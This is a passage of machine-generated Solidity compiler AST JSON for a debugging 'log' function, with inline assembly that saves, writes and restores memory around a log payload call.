ame":"bytes32","nodeType":"ElementaryTypeName","src":"352733:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45250,"nodeType":"VariableDeclarationStatement","src":"352733:10:22"},{"assignments":[45252],"declarations":[{"constant":false,"id":45252,"mutability":"mutable","name":"m2","nameLocation":"352761:2:22","nodeType":"VariableDeclaration","scope":45279,"src":"352753:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45251,"name":"bytes32","nodeType":"ElementaryTypeName","src":"352753:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45253,"nodeType":"VariableDeclarationStatement","src":"352753:10:22"},{"assignments":[45255],"declarations":[{"constant":false,"id":45255,"mutability":"mutable","name":"m3","nameLocation":"352781:2:22","nodeType":"VariableDeclaration","scope":45279,"src":"352773:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45254,"name":"bytes32","nodeType":"ElementaryTypeName","src":"352773:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45256,"nodeType":"VariableDeclarationStatement","src":"352773:10:22"},{"assignments":[45258],"declarations":[{"constant":false,"id":45258,"mutability":"mutable","name":"m4","nameLocation":"352801:2:22","nodeType":"VariableDeclaration","scope":45279,"src":"352793:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45257,"name":"bytes32","nodeType":"ElementaryTypeName","src":"352793:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45259,"nodeType":"VariableDeclarationStatement","src":"352793:10:22"},{"assignments":[45261],"declarations":[{"constant":false,"id":45261,"mutability":"mutable","name":"m5","nameLocation":"352821:2:22","nodeType":"VariableDeclaration","scope":45279,"src":"352813:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45260,"name":"bytes32","nodeType":"ElementaryTypeName","src":"352813:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45262,"nodeType":"VariableDeclarationStatement","src":"352813:10:22"},{"assignments":[45264],"declarations":[{"constant":false,"id":45264,"mutability":"mutable","name":"m6","nameLocation":"352841:2:22","nodeType":"VariableDeclaration","scope":45279,"src":"352833:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45263,"name":"bytes32","nodeType":"ElementaryTypeName","src":"352833:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45265,"nodeType":"VariableDeclarationStatement","src":"352833:10:22"},{"assignments":[45267],"declarations":[{"constant":false,"id":45267,"mutability":"mutable","name":"m7","nameLocation":"352861:2:22","nodeType":"VariableDeclaration","scope":45279,"src":"352853:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45266,"name":"bytes32","nodeType":"ElementaryTypeName","src":"352853:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45268,"nodeType":"VariableDeclarationStatement","src":"352853:10:22"},{"assignments":[45270],"declarations":[{"constant":false,"id":45270,"mutability":"mutable","name":"m8","nameLocation":"352881:2:22","nodeType":"VariableDeclaration","scope":45279,"src":"352873:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45269,"name":"bytes32","nodeType":"ElementaryTypeName","src":"352873:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45271,"nodeType":"VariableDeclarationStatement","src":"352873:10:22"},{"AST":{"nativeSrc":"352902:927:22","nodeType":"YulBlock","src":"352902:927:22","statements":[{"body":{"nativeSrc":"352945:313:22","nodeType":"YulBlock","src":"352945:313:22","statements":[{"nativeSrc":"352963:15:22","nodeType":"YulVariableDeclaration","src":"352963:15:22","value":{"kind":"number","nativeSrc":"352977:1:22","nodeType":"YulLiteral","src":"352977:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"352967:6:22","nodeType":"YulTypedName","src":"352967:6:22","type":""}]},{"body":{"nativeSrc":"353048:40:22","nodeType":"YulBlock","src":"353048:40:22","statements":[{"body":{"nativeSrc":"353077:9:22","nodeType":"YulBlock","src":"353077:9:22","statements":[{"nativeSrc":"353079:5:22","nodeType":"YulBreak","src":"353079:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"353065:6:22","nodeType":"YulIdentifier","src":"353065:6:22"},{"name":"w","nativeSrc":"353073:1:22","nodeType":"YulIdentifier","src":"353073:1:22"}],"functionName":{"name":"byte","nativeSrc":"353060:4:22","nodeType":"YulIdentifier","src":"353060:4:22"},"nativeSrc":"353060:15:22","nodeType":"YulFunctionCall","src":"353060:15:22"}],"functionName":{"name":"iszero","nativeSrc":"353053:6:22","nodeType":"YulIdentifier","src":"353053:6:22"},"nativeSrc":"353053:23:22","nodeType":"YulFunctionCall","src":"353053:23:22"},"nativeSrc":"353050:36:22","nodeType":"YulIf","src":"353050:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"353005:6:22","nodeType":"YulIdentifier","src":"353005:6:22"},{"kind":"number","nativeSrc":"353013:4:22","nodeType":"YulLiteral","src":"353013:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"353002:2:22","nodeType":"YulIdentifier","src":"353002:2:22"},"nativeSrc":"353002:16:22","nodeType":"YulFunctionCall","src":"353002:16:22"},"nativeSrc":"352995:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"353019:28:22","nodeType":"YulBlock","src":"353019:28:22","statements":[{"nativeSrc":"353021:24:22","nodeType":"YulAssignment","src":"353021:24:22","value":{"arguments":[{"name":"length","nativeSrc":"353035:6:22","nodeType":"YulIdentifier","src":"353035:6:22"},{"kind":"number","nativeSrc":"353043:1:22","nodeType":"YulLiteral","src":"353043:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"353031:3:22","nodeType":"YulIdentifier","src":"353031:3:22"},"nativeSrc":"353031:14:22","nodeType":"YulFunctionCall","src":"353031:14:22"},"variableNames":[{"name":"length","nativeSrc":"353021:6:22","nodeType":"YulIdentifier","src":"353021:6:22"}]}]},"pre":{"nativeSrc":"352999:2:22","nodeType":"YulBlock","src":"352999:2:22","statements":[]},"src":"352995:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"353112:3:22","nodeType":"YulIdentifier","src":"353112:3:22"},{"name":"length","nativeSrc":"353117:6:22","nodeType":"YulIdentifier","src":"353117:6:22"}],"functionName":{"name":"mstore","nativeSrc":"353105:6:22","nodeType":"YulIdentifier","src":"353105:6:22"},"nativeSrc":"353105:19:22","nodeType":"YulFunctionCall","src":"353105:19:22"},"nativeSrc":"353105:19:22","nodeType":"YulExpressionStatement","src":"353105:19:22"},{"nativeSrc":"353141:37:22","nodeType":"YulVariableDeclaration","src":"353141:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"353158:3:22","nodeType":"YulLiteral","src":"353158:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"353167:1:22","nodeType":"YulLiteral","src":"353167:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"353170:6:22","nodeType":"YulIdentifier","src":"353170:6:22"}],"functionName":{"name":"shl","nativeSrc":"353163:3:22","nodeType":"YulIdentifier","src":"353163:3:22"},"nativeSrc":"353163:14:22","nodeType":"YulFunctionCall","src":"353163:14:22"}],"functionName":{"name":"sub","nativeSrc":"353154:3:22","nodeType":"YulIdentifier","src":"353154:3:22"},"nativeSrc":"353154:24:22","nodeType":"YulFunctionCall","src":"353154:24:22"},"variables":[{"name":"shift","nativeSrc":"353145:5:22","nodeType":"YulTypedName","src":"353145:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"353206:3:22","nodeType":"YulIdentifier","src":"353206:3:22"},{"kind":"number","nativeSrc":"353211:4:22","nodeType":"YulLiteral","src":"353211:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"353202:3:22","nodeType":"YulIdentifier","src":"353202:3:22"},"nativeSrc":"353202:14:22","nodeType":"YulFunctionCall","src":"353202:14:22"},{"arguments":[{"name":"shift","nativeSrc":"353222:5:22","nodeType":"YulIdentifier","src":"353222:5:22"},{"arguments":[{"name":"shift","nativeSrc":"353233:5:22","nodeType":"YulIdentifier","src":"353233:5:22"},{"name":"w","nativeSrc":"353240:1:22","nodeType":"YulIdentifier","src":"353240:1:22"}],"functionName":{"name":"shr","nativeSrc":"353229:3:22","nodeType":"YulIdentifier","src":"353229:3:22"},"nativeSrc":"353229:13:22","nodeType":"YulFunctionCall","src":"353229:13:22"}],"functionName":{"name":"shl","nativeSrc":"353218:3:22","nodeType":"YulIdentifier","src":"353218:3:22"},"nativeSrc":"353218:25:22","nodeType":"YulFunctionCall","src":"353218:25:22"}],"functionName":{"name":"mstore","nativeSrc":"353195:6:22","nodeType":"YulIdentifier","src":"353195:6:22"},"nativeSrc":"353195:49:22","nodeType":"YulFunctionCall","src":"353195:49:22"},"nativeSrc":"353195:49:22","nodeType":"YulExpressionStatement","src":"353195:49:22"}]},"name":"writeString","nativeSrc":"352916:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"352937:3:22","nodeType":"YulTypedName","src":"352937:3:22","type":""},{"name":"w","nativeSrc":"352942:1:22","nodeType":"YulTypedName","src":"352942:1:22","type":""}],"src":"352916:342:22"},{"nativeSrc":"353271:17:22","nodeType":"YulAssignment","src":"353271:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"353283:4:22","nodeType":"YulLiteral","src":"353283:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"353277:5:22","nodeType":"YulIdentifier","src":"353277:5:22"},"nativeSrc":"353277:11:22","nodeType":"YulFunctionCall","src":"353277:11:22"},"variableNames":[{"name":"m0","nativeSrc":"353271:2:22","nodeType":"YulIdentifier","src":"353271:2:22"}]},{"nativeSrc":"353301:17:22","nodeType":"YulAssignment","src":"353301:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"353313:4:22","nodeType":"YulLiteral","src":"353313:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"353307:5:22","nodeType":"YulIdentifier","src":"353307:5:22"},"nativeSrc":"353307:11:22","nodeType":"YulFunctionCall","src":"353307:11:22"},"variableNames":[{"name":"m1","nativeSrc":"353301:2:22","nodeType":"YulIdentifier","src":"353301:2:22"}]},{"nativeSrc":"353331:17:22","nodeType":"YulAssignment","src":"353331:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"353343:4:22","nodeType":"YulLiteral","src":"353343:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"353337:5:22","nodeType":"YulIdentifier","src":"353337:5:22"},"nativeSrc":"353337:11:22","nodeType":"YulFunctionCall","src":"353337:11:22"},"variableNames":[{"name":"m2","nativeSrc":"353331:2:22","nodeType":"YulIdentifier","src":"353331:2:22"}]},{"nativeSrc":"353361:17:22","nodeType":"YulAssignment","src":"353361:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"353373:4:22","nodeType":"YulLiteral","src":"353373:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"353367:5:22","nodeType":"YulIdentifier","src":"353367:5:22"},"nativeSrc":"353367:11:22","nodeType":"YulFunctionCall","src":"353367:11:22"},"variableNames":[{"name":"m3","nativeSrc":"353361:2:22","nodeType":"YulIdentifier","src":"353361:2:22"}]},{"nativeSrc":"353391:17:22","nodeType":"YulAssignment","src":"353391:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"353403:4:22","nodeType":"YulLiteral","src":"353403:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"353397:5:22","nodeType":"YulIdentifier","src":"353397:5:22"},"nativeSrc":"353397:11:22","nodeType":"YulFunctionCall","src":"353397:11:22"},"variableNames":[{"name":"m4","nativeSrc":"353391:2:22","nodeType":"YulIdentifier","src":"353391:2:22"}]},{"nativeSrc":"353421:17:22","nodeType":"YulAssignment","src":"353421:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"353433:4:22","nodeType":"YulLiteral","src":"353433:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"353427:5:22","nodeType":"YulIdentifier","src":"353427:5:22"},"nativeSrc":"353427:11:22","nodeType":"YulFunctionCall","src":"353427:11:22"},"variableNames":[{"name":"m5","nativeSrc":"353421:2:22","nodeType":"YulIdentifier","src":"353421:2:22"}]},{"nativeSrc":"353451:17:22","nodeType":"YulAssignment","src":"353451:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"353463:4:22","nodeType":"YulLiteral","src":"353463:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"353457:5:22","nodeType":"YulIdentifier","src":"353457:5:22"},"nativeSrc":"353457:11:22","nodeType":"YulFunctionCall","src":"353457:11:22"},"variableNames":[{"name":"m6","nativeSrc":"353451:2:22","nodeType":"YulIdentifier","src":"353451:2:22"}]},{"nativeSrc":"353481:17:22","nodeType":"YulAssignment","src":"353481:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"353493:4:22","nodeType":"YulLiteral","src":"353493:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"353487:5:22","nodeType":"YulIdentifier","src":"353487:5:22"},"nativeSrc":"353487:11:22","nodeType":"YulFunctionCall","src":"353487:11:22"},"variableNames":[{"name":"m7","nativeSrc":"353481:2:22","nodeType":"YulIdentifier","src":"353481:2:22"}]},{"nativeSrc":"353511:18:22","nodeType":"YulAssignment","src":"353511:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"353523:5:22","nodeType":"YulLiteral","src":"353523:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"353517:5:22","nodeType":"YulIdentifier","src":"353517:5:22"},"nativeSrc":"353517:12:22","nodeType":"YulFunctionCall","src":"353517:12:22"},"variableNames":[{"name":"m8","nativeSrc":"353511:2:22","nodeType":"YulIdentifier","src":"353511:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"353614:4:22","nodeType":"YulLiteral","src":"353614:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"353620:10:22","nodeType":"YulLiteral","src":"353620:10:22","type":"","value":"0x9ffb2f93"}],"functionName":{"name":"mstore","nativeSrc":"353607:6:22","nodeType":"YulIdentifier","src":"353607:6:22"},"nativeSrc":"353607:24:22","nodeType":"YulFunctionCall","src":"353607:24:22"},"nativeSrc":"353607:24:22","nodeType":"YulExpressionStatement","src":"353607:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"353651:4:22","nodeType":"YulLiteral","src":"353651:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"353657:4:22","nodeType":"YulLiteral","src":"353657:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"353644:6:22","nodeType":"YulIdentifier","src":"353644:6:22"},"nativeSrc":"353644:18:22","nodeType":"YulFunctionCall","src":"353644:18:22"},"nativeSrc":"353644:18:22","nodeType":"YulExpressionStatement","src":"353644:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"353682:4:22","nodeType":"YulLiteral","src":"353682:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"353688:2:22","nodeType":"YulIdentifier","src":"353688:2:22"}],"functionName":{"name":"mstore","nativeSrc":"353675:6:22","nodeType":"YulIdentifier","src":"353675:6:22"},"nativeSrc":"353675:16:22","nodeType":"YulFunctionCall","src":"353675:16:22"},"nativeSrc":"353675:16:22","nodeType":"YulExpressionStatement","src":"353675:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"353711:4:22","nodeType":"YulLiteral","src":"353711:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"353717:2:22","nodeType":"YulIdentifier","src":"353717:2:22"}],"functionName":{"name":"mstore","nativeSrc":"353704:6:22","nodeType":"YulIdentifier","src":"353704:6:22"},"nativeSrc":"353704:16:22","nodeType":"YulFunctionCall","src":"353704:16:22"},"nativeSrc":"353704:16:22","nodeType":"YulExpressionStatement","src":"353704:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"353740:4:22","nodeType":"YulLiteral","src":"353740:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"353746:4:22","nodeType":"YulLiteral","src":"353746:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"353733:6:22","nodeType":"YulIdentifier","src":"353733:6:22"},"nativeSrc":"353733:18:22","nodeType":"YulFunctionCall","src":"353733:18:22"},"nativeSrc":"353733:18:22","nodeType":"YulExpressionStatement","src":"353733:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"353776:4:22","nodeType":"YulLiteral","src":"353776:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"353782:2:22","nodeType":"YulIdentifier","src":"353782:2:22"}],"functionName":{"name":"writeString","nativeSrc":"353764:11:22","nodeType":"YulIdentifier","src":"353764:11:22"},"nativeSrc":"353764:21:22","nodeType":"YulFunctionCall","src":"353764:21:22"},"nativeSrc":"353764:21:22","nodeType":"YulExpressionStatement","src":"353764:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"353810:4:22","nodeType":"YulLiteral","src":"353810:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"353816:2:22","nodeType":"YulIdentifier","src":"353816:2:22"}],"functionName":{"name":"writeString","nativeSrc":"353798:11:22","nodeType":"YulIdentifier","src":"353798:11:22"},"nativeSrc":"353798:21:22","nodeType":"YulFunctionCall","src":"353798:21:22"},"nativeSrc":"353798:21:22","nodeType":"YulExpressionStatement","src":"353798:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45246,"isOffset":false,"isSlot":false,"src":"353271:2:22","valueSize":1},{"declaration":45249,"isOffset":false,"isSlot":false,"src":"353301:2:22","valueSize":1},{"declaration":45252,"isOffset":false,"isSlot":false,"src":"353331:2:22","valueSize":1},{"declaration":45255,"isOffset":false,"isSlot":false,"src":"353361:2:22","valueSize":1},{"declaration":45258,"isOffset":false,"isSlot":false,"src":"353391:2:22","valueSize":1},{"declaration":45261,"isOffset":false,"isSlot":false,"src":"353421:2:22","valueSize":1},{"declaration":45264,"isOffset":false,"isSlot":false,"src":"353451:2:22","valueSize":1},{"declaration":45267,"isOffset":false,"isSlot":false,"src":"353481:2:22","valueSize":1},{"declaration":45270,"isOffset":false,"isSlot":false,"src":"353511:2:22","valueSize":1},{"declaration":45236,"isOffset":false,"isSlot":false,"src":"353782:2:22","valueSize":1},{"declaration":45238,"isOffset":false,"isSlot":false,"src":"353688:2:22","valueSize":1},{"declaration":45240,"isOffset":false,"isSlot":false,"src":"353717:2:22","valueSize":1},{"declaration":45242,"isOffset":false,"isSlot":false,"src":"353816:2:22","valueSize":1}],"id":45272,"nodeType":"InlineAssembly","src":"352893:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45274,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"353854:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45275,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"353860:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45273,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"353838:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45276,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"353838:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45277,"nodeType":"ExpressionStatement","src":"353838:28:22"},{"AST":{"nativeSrc":"353885:273:22","nodeType":"YulBlock","src":"353885:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"353906:4:22","nodeType":"YulLiteral","src":"353906:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"353912:2:22","nodeType":"YulIdentifier","src":"353912:2:22"}],"functionName":{"name":"mstore","nativeSrc":"353899:6:22","nodeType":"YulIdentifier","src":"353899:6:22"},"nativeSrc":"353899:16:22","nodeType":"YulFunctionCall","src":"353899:16:22"},"nativeSrc":"353899:16:22","nodeType":"YulExpressionStatement","src":"353899:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"353935:4:22","nodeType":"YulLiteral","src":"353935:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"353941:2:22","nodeType":"YulIdentifier","src":"353941:2:22"}],"functionName":{"name":"mstore","nativeSrc":"353928:6:22","nodeType":"YulIdentifier","src":"353928:6:22"},"nativeSrc":"353928:16:22","nodeType":"YulFunctionCall","src":"353928:16:22"},"nativeSrc":"353928:16:22","nodeType":"YulExpressionStatement","src":"353928:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"353964:4:22","nodeType":"YulLiteral","src":"353964:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"353970:2:22","nodeType":"YulIdentifier","src":"353970:2:22"}],"functionName":{"name":"mstore","nativeSrc":"353957:6:22","nodeType":"YulIdentifier","src":"353957:6:22"},"nativeSrc":"353957:16:22","nodeType":"YulFunctionCall","src":"353957:16:22"},"nativeSrc":"353957:16:22","nodeType":"YulExpressionStatement","src":"353957:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"353993:4:22","nodeType":"YulLiteral","src":"353993:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"353999:2:22","nodeType":"YulIdentifier","src":"353999:2:22"}],"functionName":{"name":"mstore","nativeSrc":"353986:6:22","nodeType":"YulIdentifier","src":"353986:6:22"},"nativeSrc":"353986:16:22","nodeType":"YulFunctionCall","src":"353986:16:22"},"nativeSrc":"353986:16:22","nodeType":"YulExpressionStatement","src":"353986:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"354022:4:22","nodeType":"YulLiteral","src":"354022:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"354028:2:22","nodeType":"YulIdentifier","src":"354028:2:22"}],"functionName":{"name":"mstore","nativeSrc":"354015:6:22","nodeType":"YulIdentifier","src":"354015:6:22"},"nativeSrc":"354015:16:22","nodeType":"YulFunctionCall","src":"354015:16:22"},"nativeSrc":"354015:16:22","nodeType":"YulExpressionStatement","src":"354015:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"354051:4:22","nodeType":"YulLiteral","src":"354051:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"354057:2:22","nodeType":"YulIdentifier","src":"354057:2:22"}],"functionName":{"name":"mstore","nativeSrc":"354044:6:22","nodeType":"YulIdentifier","src":"354044:6:22"},"nativeSrc":"354044:16:22","nodeType":"YulFunctionCall","src":"354044:16:22"},"nativeSrc":"354044:16:22","nodeType":"YulExpressionStatement","src":"354044:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"354080:4:22","nodeType":"YulLiteral","src":"354080:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"354086:2:22","nodeType":"YulIdentifier","src":"354086:2:22"}],"functionName":{"name":"mstore","nativeSrc":"354073:6:22","nodeType":"YulIdentifier","src":"354073:6:22"},"nativeSrc":"354073:16:22","nodeType":"YulFunctionCall","src":"354073:16:22"},"nativeSrc":"354073:16:22","nodeType":"YulExpressionStatement","src":"354073:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"354109:4:22","nodeType":"YulLiteral","src":"354109:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"354115:2:22","nodeType":"YulIdentifier","src":"354115:2:22"}],"functionName":{"name":"mstore","nativeSrc":"354102:6:22","nodeType":"YulIdentifier","src":"354102:6:22"},"nativeSrc":"354102:16:22","nodeType":"YulFunctionCall","src":"354102:16:22"},"nativeSrc":"354102:16:22","nodeType":"YulExpressionStatement","src":"354102:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"354138:5:22","nodeType":"YulLiteral","src":"354138:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"354145:2:22","nodeType":"YulIdentifier","src":"354145:2:22"}],"functionName":{"name":"mstore","nativeSrc":"354131:6:22","nodeType":"YulIdentifier","src":"354131:6:22"},"nativeSrc":"354131:17:22","nodeType":"YulFunctionCall","src":"354131:17:22"},"nativeSrc":"354131:17:22","nodeType":"YulExpressionStatement","src":"354131:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45246,"isOffset":false,"isSlot":false,"src":"353912:2:22","valueSize":1},{"declaration":45249,"isOffset":false,"isSlot":false,"src":"353941:2:22","valueSize":1},{"declaration":45252,"isOffset":false,"isSlot":false,"src":"353970:2:22","valueSize":1},{"declaration":45255,"isOffset":false,"isSlot":false,"src":"353999:2:22","valueSize":1},{"declaration":45258,"isOffset":false,"isSlot":false,"src":"354028:2:22","valueSize":1},{"declaration":45261,"isOffset":false,"isSlot":false,"src":"354057:2:22","valueSize":1},{"declaration":45264,"isOffset":false,"isSlot":false,"src":"354086:2:22","valueSize":1},{"declaration":45267,"isOffset":false,"isSlot":false,"src":"354115:2:22","valueSize":1},{"declaration":45270,"isOffset":false,"isSlot":false,"src":"354145:2:22","valueSize":1}],"id":45278,"nodeType":"InlineAssembly","src":"353876:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"352637:3:22","parameters":{"id":45243,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45236,"mutability":"mutable","name":"p0","nameLocation":"352649:2:22","nodeType":"VariableDeclaration","scope":45280,"src":"352641:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45235,"name":"bytes32","nodeType":"ElementaryTypeName","src":"352641:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45238,"mutability":"mutable","name":"p1","nameLocation":"352661:2:22","nodeType":"VariableDeclaration","scope":45280,"src":"352653:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45237,"name":"uint256","nodeType":"ElementaryTypeName","src":"352653:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45240,"mutability":"mutable","name":"p2","nameLocation":"352673:2:22","nodeType":"VariableDeclaration","scope":45280,"src":"352665:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45239,"name":"address","nodeType":"ElementaryTypeName","src":"352665:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":45242,"mutability":"mutable","name":"p3","nameLocation":"352685:2:22","nodeType":"VariableDeclaration","scope":45280,"src":"352677:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45241,"name":"bytes32","nodeType":"ElementaryTypeName","src":"352677:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"352640:48:22"},"returnParameters":{"id":45244,"nodeType":"ParameterList","parameters":[],"src":"352703:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45320,"nodeType":"FunctionDefinition","src":"354170:1334:22","nodes":[],"body":{"id":45319,"nodeType":"Block","src":"354242:1262:22","nodes":[],"statements":[{"assignments":[45292],"declarations":[{"constant":false,"id":45292,"mutability":"mutable","name":"m0","nameLocation":"354260:2:22","nodeType":"VariableDeclaration","scope":45319,"src":"354252:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45291,"name":"bytes32","nodeType":"ElementaryTypeName","src":"354252:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45293,"nodeType":"VariableDeclarationStatement","src":"354252:10:22"},{"assignments":[45295],"declarations":[{"constant":false,"id":45295,"mutability":"mutable","name":"m1","nameLocation":"354280:2:22","nodeType":"VariableDeclaration","scope":45319,"src":"354272:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45294,"name":"bytes32","nodeType":"ElementaryTypeName","src":"354272:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45296,"nodeType":"VariableDeclarationStatement","src":"354272: